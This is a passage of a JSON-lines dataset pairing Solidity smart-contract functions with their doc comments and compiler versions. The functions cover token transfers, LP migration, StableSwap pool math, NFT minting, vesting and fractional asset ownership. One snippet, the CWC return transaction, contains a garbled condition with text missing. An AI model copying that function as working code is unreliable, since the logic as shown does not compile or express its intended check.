holder;\r\n\r\n holder= subscriptionsContract.getHolder(_user);\r\n\r\n uint currRatio = getSafetyRatio(_user);\r\n\r\n if (_method == Method.Repay) {\r\n return (currRatio < holder.maxRatio, currRatio);\r\n } else if (_method == Method.Boost) {\r\n return (currRatio > holder.minRatio, currRatio);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/* For The Minter to give CWC to a client */", "function_code": "function minterGivesCWC(address _to, uint _value) public {\r\n require(isMinter[msg.sender]); //minters are the sales items: UET, DET, ...\r\n require(!isMinter[_to] && _to != owner); //to a client\r\n balances[_to] = balances[_to].add(_value);\r\n MinterGaveCWC(msg.sender, _to, _value);\r\n }", "version": "0.4.19"} {"comment": "/* ERC223 transfer CWCs with data */", "function_code": "function transfer(address _to, uint _value, bytes _data) public {\r\n uint codeLength;\r\n\r\n assembly {\r\n codeLength := extcodesize(_to)\r\n }\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n \r\n if(!isMinter[_to] && _to != owner) { //They will never get anything to send\r\n balances[_to] = balances[_to].add(_value);\r\n }\r\n\r\n if(codeLength>0) {\r\n CWC_ReceiverInterface receiver = CWC_ReceiverInterface(_to);\r\n receiver.CWCfallback(msg.sender, _value, _data);\r\n }\r\n\t // Generate an event for the client\r\n Transfer(msg.sender, _to, _value, _data);\r\n // Returning CWCs\r\n if(_to == owner) {\r\n CWCreturnTransaction(msg.sender, _value); // <====== Entry to CWC Return\r\n }\r\n }", "version": "0.4.19"} {"comment": "/* ERC223 transfer CWCs w/o data for ERC20 compatibility */", "function_code": "function transfer(address _to, uint _value) public {\r\n uint codeLength;\r\n bytes memory empty;\r\n\r\n assembly {\r\n codeLength := extcodesize(_to)\r\n }\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n\r\n if(!isMinter[_to] && _to != owner) { //They will never get anything to send\r\n balances[_to] = balances[_to].add(_value);\r\n }\r\n \r\n if(codeLength>0) {\r\n CWC_ReceiverInterface receiver = CWC_ReceiverInterface(_to);\r\n receiver.CWCfallback(msg.sender, _value, empty);\r\n }\r\n\t // Generate an event for the client\r\n Transfer(msg.sender, _to, _value, empty);\r\n // Returning CWCs\r\n if(_to == owner) {\r\n CWCreturnTransaction(msg.sender, _value); // <====== Entry to CWC Return\r\n }\r\n }", "version": "0.4.19"} {"comment": "//================================ CWC Return Transaction ==================================//", "function_code": "function CWCreturnTransaction(address from, uint amount) private {\r\n require(verifiedUsersOnlyMode==false || verifiedUsers[from]==true);\r\n require(!pauseCWC);\r\n require(amount>minCWCsPerReturnMoreThan && amount this.balance) {\r\n needsEther(\"Oraclize query for CWC return was NOT sent, please add some ETH to cover for the query fee\");\r\n pauseCWC=true;\r\n revert();\r\n } \r\n else {\r\n //Expectation: CWC_Sale for Ask (a) and CWC_Return for Bid (b)\r\n tickerQueryData = strConcat(\"1,\", \"CWC,\", \"0x\", addressToAsciiString(from), \",\");\r\n tickerQueryData = strConcat(tickerQueryData, uint2str(amount));\r\n bytes32 queryId = oraclize_query(\"URL\", tickerQuery, tickerQueryData);\r\n tickerQueryIds[queryId] = true;\r\n tickerQueryPurpose[queryId] = 2; //1 for CWC sale; 2 for CWC return\r\n waitingSeller[queryId] = from;\r\n cwcPaid[queryId] = amount;\r\n receivedCWCreturn(waitingSeller[queryId], cwcPaid[queryId]);\r\n newTickerQuery(\"Called Oraclize for CWC return. Waiting\u2026\", queryId);\r\n }\r\n }", "version": "0.4.19"} {"comment": "// _migrateCashLP migrates MICv1 LP tokens into MICv2 LP and returns the amount of converted MICv1.", "function_code": "function _migrateCashLP()\r\n internal\r\n onlyOneBlock\r\n returns (uint256)\r\n {\r\n require(block.timestamp <= endTime, 'CashLpMigrator: redemption period ended');\r\n uint256 amount = IERC20(lp_old).balanceOf(msg.sender);\r\n require(amount > 0, 'CashLpMigrator: cannot exchange zero amount');\r\n\r\n //Transfer LPv1 to the contract\r\n IERC20(lp_old).safeTransferFrom(msg.sender, address(this), amount);\r\n\r\n //Remove liquidity, which puts USDT and MICv1 in the contract\r\n IERC20(lp_old).safeApprove(univ2Router2, 0);\r\n IERC20(lp_old).safeApprove(univ2Router2, amount);\r\n IUniswapV2Router(univ2Router2).removeLiquidity(\r\n cash_old,\r\n usdt,\r\n amount,\r\n 0,\r\n 0,\r\n address(this),\r\n now + 60\r\n );\r\n\r\n //Exchange balance of MICv1 for MICv2\r\n uint256 cash_old_amount = IERC20(cash_old).balanceOf(address(this));\r\n IERC20(cash_old).safeApprove(cashExchange, 0);\r\n IERC20(cash_old).safeApprove(cashExchange, cash_old_amount);\r\n CashExchange(cashExchange).exchangeCash(cash_old_amount);\r\n \r\n uint256 usdt_amount = IERC20(usdt).balanceOf(address(this));\r\n uint256 cash_new_amount = IERC20(cash_new).balanceOf(address(this));\r\n \r\n //Add USDT + MICv2 liquidity to Curve, which puts LPv2 in the contract\r\n IERC20(usdt).safeApprove(curveDepositer, 0);\r\n IERC20(usdt).safeApprove(curveDepositer, usdt_amount);\r\n IERC20(cash_new).safeApprove(curveDepositer, 0);\r\n IERC20(cash_new).safeApprove(curveDepositer, cash_new_amount);\r\n //args are: address, [cash, dai, usdc, usdt], min_mint_amount\r\n ICurveMeta(curveDepositer).add_liquidity(curvePool, [cash_new_amount, 0, 0, usdt_amount], 1);\r\n return cash_old_amount;\r\n }", "version": "0.6.12"} {"comment": "//Converts V1 Cash/stable LP to V2 Cash/stable LP and stakes the V2 LP tokens on behalf of the user", "function_code": "function migrateLockedCashLP()\r\n external\r\n onlyOneBlock\r\n {\r\n //Only need to check price if I'm locking\r\n uint256 cashPrice = getOraclePrice();\r\n require(cashPrice <= 1000000, 'Cash v1 price must be <= $1');\r\n\r\n uint256 convertedOldCashAmount = _migrateCashLP();\r\n\r\n //StakeLocked(_address, balance) stakes on behalf of _address\r\n //new staking contract should check the cash price before allowing people to stake locked\r\n //if that is the case, then I don't need to check the cash price in this contract\r\n uint256 stakeAmount = IERC20(lp_new).balanceOf(address(this));\r\n IERC20(lp_new).approve(stakingContract, stakeAmount);\r\n IStakingRewardsv2(stakingContract).stakeLockedFor(msg.sender, stakeAmount, convertedOldCashAmount);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Send this earning to drip contract.\n */", "function_code": "function _forwardEarning() internal override {\n address _dripContract = IVesperPool(pool).poolRewards();\n uint256 _earned = IERC20(dripToken).balanceOf(address(this));\n // Fetches which rewardToken collects the drip\n address _growPool = IEarnDrip(_dripContract).growToken();\n // Checks that the Grow Pool supports dripToken as underlying\n require(address(IVesperPool(_growPool).token()) == dripToken, \"invalid-grow-pool\");\n\n if (!transferToDripContract && _earned != 0) {\n totalEarned += _earned;\n IVesperPool(_growPool).deposit(_earned);\n\n // Next rebalance call will transfer to dripContract\n transferToDripContract = true;\n } else if (transferToDripContract) {\n (, uint256 _interestFee, , , , , , ) = IVesperPool(pool).strategy(address(this));\n uint256 _growPoolShares = IERC20(_growPool).balanceOf(address(this));\n uint256 _fee = (_growPoolShares * _interestFee) / 10000;\n\n if (_fee != 0) {\n IERC20(_growPool).safeTransfer(feeCollector, _fee);\n _growPoolShares -= _fee;\n }\n IERC20(_growPool).safeTransfer(_dripContract, _growPoolShares);\n IEarnDrip(_dripContract).notifyRewardAmount(_growPool, _growPoolShares, dripPeriod);\n\n // Next rebalance call will deposit VSP to vVSP Pool\n transferToDripContract = false;\n }\n }", "version": "0.8.3"} {"comment": "/**\r\n * Mints monster\r\n */", "function_code": "function mintmonster( string calldata message) public {\r\n require(saleIsActive, \"Sale must be active to mint monster\");\r\n require((totalSupply()+1) <= MAX_monster, \"Purchase would exceed max supply of monster\");\r\n require(saletoken.allowance(msg.sender, address(this)) >= monsterPrice, \"This contract is not approved to spend your token\" );\r\n saletoken.approve(walletToRecieveToken, monsterPrice);\r\n saletoken.transferFrom(msg.sender, walletToRecieveToken, monsterPrice);\r\n \r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_monster) {\r\n super._safeMint(msg.sender, mintIndex+1);\r\n super._setTokenURI(mintIndex+1,message);\r\n emit minted(msg.sender, mintIndex+1, message);\r\n }\r\n \r\n // If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after\r\n // the end of pre-sale, set the starting index block\r\n if (startingIndexBlock == 0 && (totalSupply() == MAX_monster || block.timestamp >= REVEAL_TIMESTAMP)) {\r\n startingIndexBlock = block.number;\r\n } \r\n }", "version": "0.7.0"} {"comment": "// Calculates the Bonus Award based upon the purchase amount and the purchase period\n// function calculateBonus(uint256 individuallyContributedEtherInWei) private returns(uint256 bonus_applied)", "function_code": "function startPreICO() public onlyOwner atStage(Stages.NOTSTARTED)\r\n\t{\r\n\t\tstage = Stages.PREICO;\r\n\t\tpaused = false;\r\n\t\tPrice_Per_Token = 10;\r\n\t\tBONUS = 30;\r\n\t\tbalances[address(this)] = (TotalpresaleSupply).mul(TOKEN_DECIMALS);\r\n\t\tStartdatePresale = now;\r\n\t\tEnddatePresale = now + PresaleDays;\r\n\t\temit Transfer(0, address(this), balances[address(this)]);\r\n\r\n\t}", "version": "0.4.24"} {"comment": "/**\n * @notice Calculate the dy, the amount of selected token that user receives and\n * the fee of withdrawing in one token\n * @param account the address that is withdrawing\n * @param tokenAmount the amount to withdraw in the pool's precision\n * @param tokenIndex which token will be withdrawn\n * @param self Swap struct to read from\n * @return the amount of token user will receive\n */", "function_code": "function calculateWithdrawOneToken(\n Swap storage self,\n address account,\n uint256 tokenAmount,\n uint8 tokenIndex\n ) external view returns (uint256) {\n (uint256 availableTokenAmount, ) = _calculateWithdrawOneToken(\n self,\n account,\n tokenAmount,\n tokenIndex,\n self.lpToken.totalSupply()\n );\n return availableTokenAmount;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Calculate the price of a token in the pool with given\n * precision-adjusted balances and a particular D.\n *\n * @dev This is accomplished via solving the invariant iteratively.\n * See the StableSwap paper and Curve.fi implementation for further details.\n *\n * x_1**2 + x1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A)\n * x_1**2 + b*x_1 = c\n * x_1 = (x_1**2 + c) / (2*x_1 + b)\n *\n * @param a the amplification coefficient * n * (n - 1). See the StableSwap paper for details.\n * @param tokenIndex Index of token we are calculating for.\n * @param xp a precision-adjusted set of pool balances. Array should be\n * the same cardinality as the pool.\n * @param d the stableswap invariant\n * @return the price of the token, in the same precision as in xp\n */", "function_code": "function getYD(\n uint256 a,\n uint8 tokenIndex,\n uint256[] memory xp,\n uint256 d\n ) internal pure returns (uint256) {\n uint256 numTokens = xp.length;\n require(tokenIndex < numTokens, \"Token not found\");\n\n uint256 c = d;\n uint256 s;\n uint256 nA = a.mul(numTokens);\n\n for (uint256 i = 0; i < numTokens; i++) {\n if (i != tokenIndex) {\n s = s.add(xp[i]);\n c = c.mul(d).div(xp[i].mul(numTokens));\n // If we were to protect the division loss we would have to keep the denominator separate\n // and divide at the end. However this leads to overflow with large numTokens or/and D.\n // c = c * D * D * D * ... overflow!\n }\n }\n c = c.mul(d).mul(AmplificationUtilsV1.A_PRECISION).div(\n nA.mul(numTokens)\n );\n\n uint256 b = s.add(d.mul(AmplificationUtilsV1.A_PRECISION).div(nA));\n uint256 yPrev;\n uint256 y = d;\n for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) {\n yPrev = y;\n y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d));\n if (y.within1(yPrev)) {\n return y;\n }\n }\n revert(\"Approximation did not converge\");\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Given a set of balances and precision multipliers, return the\n * precision-adjusted balances.\n *\n * @param balances an array of token balances, in their native precisions.\n * These should generally correspond with pooled tokens.\n *\n * @param precisionMultipliers an array of multipliers, corresponding to\n * the amounts in the balances array. When multiplied together they\n * should yield amounts at the pool's precision.\n *\n * @return an array of amounts \"scaled\" to the pool's precision\n */", "function_code": "function _xp(\n uint256[] memory balances,\n uint256[] memory precisionMultipliers\n ) internal pure returns (uint256[] memory) {\n uint256 numTokens = balances.length;\n require(\n numTokens == precisionMultipliers.length,\n \"Balances must match multipliers\"\n );\n uint256[] memory xp = new uint256[](numTokens);\n for (uint256 i = 0; i < numTokens; i++) {\n xp[i] = balances[i].mul(precisionMultipliers[i]);\n }\n return xp;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Get the virtual price, to help calculate profit\n * @param self Swap struct to read from\n * @return the virtual price, scaled to precision of POOL_PRECISION_DECIMALS\n */", "function_code": "function getVirtualPrice(Swap storage self)\n external\n view\n returns (uint256)\n {\n uint256 d = getD(_xp(self), _getAPrecise(self));\n LPToken lpToken = self.lpToken;\n uint256 supply = lpToken.totalSupply();\n if (supply > 0) {\n return d.mul(10**uint256(POOL_PRECISION_DECIMALS)).div(supply);\n }\n return 0;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Internally calculates a swap between two tokens.\n *\n * @dev The caller is expected to transfer the actual amounts (dx and dy)\n * using the token contracts.\n *\n * @param self Swap struct to read from\n * @param tokenIndexFrom the token to sell\n * @param tokenIndexTo the token to buy\n * @param dx the number of tokens to sell. If the token charges a fee on transfers,\n * use the amount that gets transferred after the fee.\n * @return dy the number of tokens the user will get\n * @return dyFee the associated fee\n */", "function_code": "function _calculateSwap(\n Swap storage self,\n uint8 tokenIndexFrom,\n uint8 tokenIndexTo,\n uint256 dx,\n uint256[] memory balances\n ) internal view returns (uint256 dy, uint256 dyFee) {\n uint256[] memory multipliers = self.tokenPrecisionMultipliers;\n uint256[] memory xp = _xp(balances, multipliers);\n require(\n tokenIndexFrom < xp.length && tokenIndexTo < xp.length,\n \"Token index out of range\"\n );\n uint256 x = dx.mul(multipliers[tokenIndexFrom]).add(xp[tokenIndexFrom]);\n uint256 y = getY(\n _getAPrecise(self),\n tokenIndexFrom,\n tokenIndexTo,\n x,\n xp\n );\n dy = xp[tokenIndexTo].sub(y).sub(1);\n dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR);\n dy = dy.sub(dyFee).div(multipliers[tokenIndexTo]);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice A simple method to calculate prices from deposits or\n * withdrawals, excluding fees but including slippage. This is\n * helpful as an input into the various \"min\" parameters on calls\n * to fight front-running\n *\n * @dev This shouldn't be used outside frontends for user estimates.\n *\n * @param self Swap struct to read from\n * @param account address of the account depositing or withdrawing tokens\n * @param amounts an array of token amounts to deposit or withdrawal,\n * corresponding to pooledTokens. The amount should be in each\n * pooled token's native precision. If a token charges a fee on transfers,\n * use the amount that gets transferred after the fee.\n * @param deposit whether this is a deposit or a withdrawal\n * @return if deposit was true, total amount of lp token that will be minted and if\n * deposit was false, total amount of lp token that will be burned\n */", "function_code": "function calculateTokenAmount(\n Swap storage self,\n address account,\n uint256[] calldata amounts,\n bool deposit\n ) external view returns (uint256) {\n uint256 a = _getAPrecise(self);\n uint256[] memory balances = self.balances;\n uint256[] memory multipliers = self.tokenPrecisionMultipliers;\n\n uint256 d0 = getD(_xp(balances, multipliers), a);\n for (uint256 i = 0; i < balances.length; i++) {\n if (deposit) {\n balances[i] = balances[i].add(amounts[i]);\n } else {\n balances[i] = balances[i].sub(\n amounts[i],\n \"Cannot withdraw more than available\"\n );\n }\n }\n uint256 d1 = getD(_xp(balances, multipliers), a);\n uint256 totalSupply = self.lpToken.totalSupply();\n\n if (deposit) {\n return d1.sub(d0).mul(totalSupply).div(d0);\n } else {\n return\n d0.sub(d1).mul(totalSupply).div(d0).mul(FEE_DENOMINATOR).div(\n FEE_DENOMINATOR.sub(\n _calculateCurrentWithdrawFee(self, account)\n )\n );\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice swap two tokens in the pool\n * @param self Swap struct to read from and write to\n * @param tokenIndexFrom the token the user wants to sell\n * @param tokenIndexTo the token the user wants to buy\n * @param dx the amount of tokens the user wants to sell\n * @param minDy the min amount the user would like to receive, or revert.\n * @return amount of token user received on swap\n */", "function_code": "function swap(\n Swap storage self,\n uint8 tokenIndexFrom,\n uint8 tokenIndexTo,\n uint256 dx,\n uint256 minDy\n ) external returns (uint256) {\n {\n IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom];\n require(\n dx <= tokenFrom.balanceOf(msg.sender),\n \"Cannot swap more than you own\"\n );\n // Transfer tokens first to see if a fee was charged on transfer\n uint256 beforeBalance = tokenFrom.balanceOf(address(this));\n tokenFrom.safeTransferFrom(msg.sender, address(this), dx);\n\n // Use the actual transferred amount for AMM math\n dx = tokenFrom.balanceOf(address(this)).sub(beforeBalance);\n }\n\n uint256 dy;\n uint256 dyFee;\n uint256[] memory balances = self.balances;\n (dy, dyFee) = _calculateSwap(\n self,\n tokenIndexFrom,\n tokenIndexTo,\n dx,\n balances\n );\n require(dy >= minDy, \"Swap didn't result in min tokens\");\n\n uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div(\n self.tokenPrecisionMultipliers[tokenIndexTo]\n );\n\n self.balances[tokenIndexFrom] = balances[tokenIndexFrom].add(dx);\n self.balances[tokenIndexTo] = balances[tokenIndexTo].sub(dy).sub(\n dyAdminFee\n );\n\n self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy);\n\n emit TokenSwap(msg.sender, dx, dy, tokenIndexFrom, tokenIndexTo);\n\n return dy;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Update the withdraw fee for `user`. If the user is currently\n * not providing liquidity in the pool, sets to default value. If not, recalculate\n * the starting withdraw fee based on the last deposit's time & amount relative\n * to the new deposit.\n *\n * @param self Swap struct to read from and write to\n * @param user address of the user depositing tokens\n * @param toMint amount of pool tokens to be minted\n */", "function_code": "function updateUserWithdrawFee(\n Swap storage self,\n address user,\n uint256 toMint\n ) public {\n // If token is transferred to address 0 (or burned), don't update the fee.\n if (user == address(0)) {\n return;\n }\n if (self.defaultWithdrawFee == 0) {\n // If current fee is set to 0%, set multiplier to FEE_DENOMINATOR\n self.withdrawFeeMultiplier[user] = FEE_DENOMINATOR;\n } else {\n // Otherwise, calculate appropriate discount based on last deposit amount\n uint256 currentFee = _calculateCurrentWithdrawFee(self, user);\n uint256 currentBalance = self.lpToken.balanceOf(user);\n\n // ((currentBalance * currentFee) + (toMint * defaultWithdrawFee)) * FEE_DENOMINATOR /\n // ((toMint + currentBalance) * defaultWithdrawFee)\n self.withdrawFeeMultiplier[user] = currentBalance\n .mul(currentFee)\n .add(toMint.mul(self.defaultWithdrawFee))\n .mul(FEE_DENOMINATOR)\n .div(toMint.add(currentBalance).mul(self.defaultWithdrawFee));\n }\n self.depositTimestamp[user] = block.timestamp;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Burn LP tokens to remove liquidity from the pool.\n * @dev Liquidity can always be removed, even when the pool is paused.\n * @param self Swap struct to read from and write to\n * @param amount the amount of LP tokens to burn\n * @param minAmounts the minimum amounts of each token in the pool\n * acceptable for this burn. Useful as a front-running mitigation\n * @return amounts of tokens the user received\n */", "function_code": "function removeLiquidity(\n Swap storage self,\n uint256 amount,\n uint256[] calldata minAmounts\n ) external returns (uint256[] memory) {\n LPToken lpToken = self.lpToken;\n IERC20[] memory pooledTokens = self.pooledTokens;\n require(amount <= lpToken.balanceOf(msg.sender), \">LP.balanceOf\");\n require(\n minAmounts.length == pooledTokens.length,\n \"minAmounts must match poolTokens\"\n );\n\n uint256[] memory balances = self.balances;\n uint256 totalSupply = lpToken.totalSupply();\n\n uint256[] memory amounts = _calculateRemoveLiquidity(\n self,\n balances,\n msg.sender,\n amount,\n totalSupply\n );\n\n for (uint256 i = 0; i < amounts.length; i++) {\n require(amounts[i] >= minAmounts[i], \"amounts[i] < minAmounts[i]\");\n self.balances[i] = balances[i].sub(amounts[i]);\n pooledTokens[i].safeTransfer(msg.sender, amounts[i]);\n }\n\n lpToken.burnFrom(msg.sender, amount);\n\n emit RemoveLiquidity(msg.sender, amounts, totalSupply.sub(amount));\n\n return amounts;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Remove liquidity from the pool all in one token.\n * @param self Swap struct to read from and write to\n * @param tokenAmount the amount of the lp tokens to burn\n * @param tokenIndex the index of the token you want to receive\n * @param minAmount the minimum amount to withdraw, otherwise revert\n * @return amount chosen token that user received\n */", "function_code": "function removeLiquidityOneToken(\n Swap storage self,\n uint256 tokenAmount,\n uint8 tokenIndex,\n uint256 minAmount\n ) external returns (uint256) {\n LPToken lpToken = self.lpToken;\n IERC20[] memory pooledTokens = self.pooledTokens;\n\n require(tokenAmount <= lpToken.balanceOf(msg.sender), \">LP.balanceOf\");\n require(tokenIndex < pooledTokens.length, \"Token not found\");\n\n uint256 totalSupply = lpToken.totalSupply();\n\n (uint256 dy, uint256 dyFee) = _calculateWithdrawOneToken(\n self,\n msg.sender,\n tokenAmount,\n tokenIndex,\n totalSupply\n );\n\n require(dy >= minAmount, \"dy < minAmount\");\n\n self.balances[tokenIndex] = self.balances[tokenIndex].sub(\n dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR))\n );\n lpToken.burnFrom(msg.sender, tokenAmount);\n pooledTokens[tokenIndex].safeTransfer(msg.sender, dy);\n\n emit RemoveLiquidityOne(\n msg.sender,\n tokenAmount,\n totalSupply,\n tokenIndex,\n dy\n );\n\n return dy;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice withdraw all admin fees to a given address\n * @param self Swap struct to withdraw fees from\n * @param to Address to send the fees to\n */", "function_code": "function withdrawAdminFees(Swap storage self, address to) external {\n IERC20[] memory pooledTokens = self.pooledTokens;\n for (uint256 i = 0; i < pooledTokens.length; i++) {\n IERC20 token = pooledTokens[i];\n uint256 balance = token.balanceOf(address(this)).sub(\n self.balances[i]\n );\n if (balance != 0) {\n token.safeTransfer(to, balance);\n }\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Change the name of the asteroid\n */", "function_code": "function setName(uint _asteroidId, string memory _newName) external whenNotPaused {\n require(_msgSender() == token.ownerOf(_asteroidId), \"ERC721: caller is not the owner\");\n require(validateName(_newName) == true, \"Invalid name\");\n require(isNameUsed(_newName) == false, \"Name already in use\");\n\n // If already named, dereserve old name\n if (bytes(_asteroidNames[_asteroidId]).length > 0) {\n toggleNameUsed(_asteroidNames[_asteroidId], false);\n }\n\n toggleNameUsed(_newName, true);\n _asteroidNames[_asteroidId] = _newName;\n emit NameChanged(_asteroidId, _newName);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Check if the name string is valid\n * Between 1 and 32 characters (Alphanumeric and spaces without leading or trailing space)\n */", "function_code": "function validateName(string memory str) public pure returns (bool){\n bytes memory b = bytes(str);\n\n if(b.length < 1) return false;\n if(b.length > 32) return false; // Cannot be longer than 25 characters\n if(b[0] == 0x20) return false; // Leading space\n if (b[b.length - 1] == 0x20) return false; // Trailing space\n\n bytes1 lastChar = b[0];\n\n for (uint i; i < b.length; i++) {\n bytes1 char = b[i];\n\n if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces\n\n if (\n !(char >= 0x30 && char <= 0x39) && //9-0\n !(char >= 0x41 && char <= 0x5A) && //A-Z\n !(char >= 0x61 && char <= 0x7A) && //a-z\n !(char == 0x20) //space\n ) {\n return false;\n }\n\n lastChar = char;\n }\n\n return true;\n }", "version": "0.7.6"} {"comment": "//@dev Prior approval by the \"addressHoldingNFTs\" of this deployed contract\n// to the Timeless contract is required for all IDs that should be allowed to be exchanged", "function_code": "function exchangeTimeless(uint256 tokenId) external payable {\n require(tokenIdToAddress[tokenId] == msg.sender, \"You are not allowed to buy one!\");\n require(claimed[tokenId] == false, \"TokenID already claimed!\");\n require(msg.value == 0.222 ether, \"Please send exactly 0.222 ETH\");\n\n IERC721(timelessAddr).safeTransferFrom(addressHoldingNFTs, msg.sender, tokenId);\n\n claimed[tokenId] = true;\n leftUnclaimed--;\n }", "version": "0.8.10"} {"comment": "/**\r\n * @notice create and deploy multiple vest contracts.\r\n * @notice can be called by onlyOwner.\r\n * @param startTime vesting startTime in EPOCH.\r\n * @param endTime vesting endTime in EPOCH.\r\n * @param cliff duration when claim starts.\r\n * @param unlockDuration every liner unlocking schedule in seconds.\r\n * @param allowReleaseAll allow release All once.\r\n * @return vestAddress A vesting address.\r\n */", "function_code": "function createVest(\r\n uint256 startTime,\r\n uint256 endTime,\r\n uint256 cliff,\r\n uint256 unlockDuration,\r\n bool allowReleaseAll\r\n ) external onlyOwner returns (address vestAddress) {\r\n vestAddress = address(\r\n new UnifarmVesting(\r\n _msgSender(),\r\n startTime.add(cliff),\r\n startTime,\r\n startTime.add(endTime),\r\n unlockDuration,\r\n allowReleaseAll,\r\n address(this)\r\n )\r\n );\r\n\r\n vested.push(vestAddress);\r\n emit Vested(vestAddress, block.timestamp);\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * Get base asset info\r\n */", "function_code": "function getAssetBaseInfo() public view onlyValid\r\n returns (\r\n uint _id,\r\n uint _assetPrice,\r\n bool _isTradable,\r\n string _remark1,\r\n string _remark2\r\n )\r\n {\r\n _id = id;\r\n _assetPrice = assetPrice;\r\n _isTradable = isTradable;\r\n\r\n _remark1 = remark1;\r\n _remark2 = remark2;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * overwrite the transferOwnership interface in ownable.\r\n * Only can transfer when the token is not splitted into small keys.\r\n * After transfer, the token should be set in \"no trading\" status.\r\n */", "function_code": "function transferOwnership(address newowner) public onlyOwner onlyValid onlyUnsplitted {\r\n owner = newowner;\r\n isTradable = false; // set to false for new owner\r\n\r\n emit TokenUpdateEvent (\r\n id,\r\n isValid,\r\n isTradable,\r\n owner,\r\n assetPrice,\r\n assetFile.link,\r\n legalFile.link\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Buy asset\r\n */", "function_code": "function buy() public payable onlyValid onlyUnsplitted {\r\n require(isTradable == true, \"contract is tradeable\");\r\n require(msg.value >= assetPrice, \"assetPrice not match\");\r\n address origin_owner = owner;\r\n\r\n owner = msg.sender;\r\n isTradable = false; // set to false for new owner\r\n\r\n emit TokenUpdateEvent (\r\n id,\r\n isValid,\r\n isTradable,\r\n owner,\r\n assetPrice,\r\n assetFile.link,\r\n legalFile.link\r\n );\r\n\r\n uint priviousBalance = pendingWithdrawals[origin_owner];\r\n pendingWithdrawals[origin_owner] = priviousBalance.add(assetPrice);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * \r\n * Warning: may fail when number of owners exceeds 100 due to gas limit of a block in Ethereum.\r\n */", "function_code": "function distributeDivident(uint amount) public {\r\n // stableToken.approve(address(this), amount)\r\n // should be called by the caller to the token contract in previous\r\n uint value = 0;\r\n uint length = allowners.length;\r\n require(stableToken.balanceOf(msg.sender) >= amount, \"Insufficient balance for sender\");\r\n require(stableToken.allowance(msg.sender, address(this)) >= amount, \"Insufficient allowance for contract\");\r\n for (uint i = 0; i < length; i++) {\r\n //value = amount * balances[allowners[i]] / _totalSupply;\r\n value = amount.mul(balances[allowners[i]]);\r\n value = value.div(_totalSupply);\r\n\r\n // Always use a require when doing token transfer!\r\n // Do not think it works like the transfer method for ether,\r\n // which handles failure and will throw for you.\r\n require(stableToken.transferFrom(msg.sender, allowners[i], value));\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * key inssurance. Split the whole token into small keys.\r\n * Only the owner can perform this when the token is still valid and unsplitted.\r\n * @param _supply Totol supply in ERC20 standard\r\n * @param _decim Decimal parameter in ERC20 standard\r\n * @param _price The force acquisition price. If a claimer is willing to pay more than this value, he can\r\n * buy the keys forcibly. Notice: the claimer can only buy all keys at one time or buy nothing and the\r\n * buying process is delegated into a trusted agent. i.e. the operator.\r\n * @param _address The initial distribution plan for the keys. This parameter contains the addresses.\r\n * @param _amount The amount corresponding to the initial distribution addresses.\r\n */", "function_code": "function split(uint _supply, uint8 _decim, uint _price, address[] _address, uint[] _amount)\r\n public\r\n onlyOwner\r\n onlyValid\r\n onlyUnsplitted\r\n {\r\n require(_address.length == _amount.length);\r\n\r\n isSplitted = true;\r\n _totalSupply = _supply * 10 ** uint(_decim);\r\n decimals = _decim;\r\n collectPrice = _price;\r\n\r\n uint amount = 0;\r\n uint length = _address.length;\r\n\r\n balances[msg.sender] = _totalSupply;\r\n if (indexOfowner[msg.sender] == 0) {\r\n allowners.push(msg.sender);\r\n indexOfowner[msg.sender] = allowners.length;\r\n }\r\n emit Transfer(address(0), msg.sender, _totalSupply);\r\n\r\n for (uint i = 0; i < length; i++) {\r\n amount = _amount[i]; // * 10 ** uint(_decim);\r\n balances[_address[i]] = amount;\r\n balances[msg.sender] = balances[msg.sender].sub(amount);\r\n\r\n // ensure that each address appears only once in allowners list\r\n // so that distribute divident or force collect only pays one time\r\n if (indexOfowner[_address[i]] == 0) {\r\n allowners.push(_address[i]);\r\n indexOfowner[_address[i]] = allowners.length;\r\n }\r\n emit Transfer(msg.sender, _address[i], amount);\r\n }\r\n\r\n emit TokenSplitEvent(id, _supply, _decim, _price);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Token conversion. Turn the keys to a whole token.\r\n * Only the sender with all keys in hand can perform this and he will be the new owner.\r\n */", "function_code": "function merge() public onlyValid onlySplitted {\r\n require(balances[msg.sender] == _totalSupply);\r\n _totalSupply = 0;\r\n balances[msg.sender] = 0;\r\n owner = msg.sender;\r\n isTradable = false;\r\n isSplitted = false;\r\n emit Transfer(msg.sender, address(0), _totalSupply);\r\n emit TokenMergeEvent(id, msg.sender);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice Calculates and returns A based on the ramp settings\n * @dev See the StableSwap paper for details\n * @param self Swap struct to read from\n * @return A parameter in its raw precision form\n */", "function_code": "function _getAPrecise(Swap storage self) internal view returns (uint256) {\n uint256 t1 = self.futureATime; // time when ramp is finished\n 